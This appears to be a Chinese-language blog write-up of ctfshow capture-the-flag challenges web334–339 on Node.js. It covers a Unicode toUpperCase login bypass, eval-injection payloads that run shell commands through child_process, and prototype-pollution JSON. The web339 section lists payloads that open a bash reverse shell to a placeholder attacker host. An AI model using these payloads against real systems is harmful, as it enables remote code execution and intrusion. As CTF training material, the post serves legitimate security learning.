CTFLOG-nodejs ctfshow

nodejs ctfshow

web334:

打开题目之后给了一个zip的源码

打开题目环境之后给的是一个登录界面

分析zip源码

user.js

  items: [

    {username: 'CTFSHOW', password: '123456'}

  ]
login.js
var findUser = function(name, password){

  return users.find(function(item){

    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

  });

};
user.js里面给了我们账号和密码但是在登录的时候回检测username 不等于 CTFSHOW
这时候我们就可以拥有两种组合
1,name会经过touppercase()后转变为大写,所以可以直接大小写进行绕过
2,
toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k
所以直接大小写绕过即可

web335:

打开后主页显示

f12发现
这样我们可以直接eval然后require引入进程文件去执行系统命令(复制一手网上的payload)
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

执行ls后发现当前目录存在fl00g.txt文件,直接调用系统命令cat即可

 

 

web336:

打开336执行?eval=require('child_process').execSync('ls')

回显where is flag? tql

继续执行其他命令,依旧是无法执行,所以判断execSync是被ban掉了一级,不过spawnSync依旧可以执行

使用.spawnSync('cat',['fl001g.txt']).stdout.toString()

成功拿到flag

 

 

 

web338:

打开了环境之后给了一套源码

可以看到想要拿到flag我们需要使用secert.ctfshow的值为36dboy

观看利用好点

存在 utils.copy(user,req.body);

我们可以利用body进行json传参,从而打到原型链污染的目的

{"username":"111","password":"111",
"__proto__":{
"ctfshow":"36dboy"
}
}

最后获取到了FLAG

 

 

web339:

存一手现成FLAG

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}

{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }

{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}

 

 

 

发表回复

电子邮件地址不会被公开。必填项已用 * 标注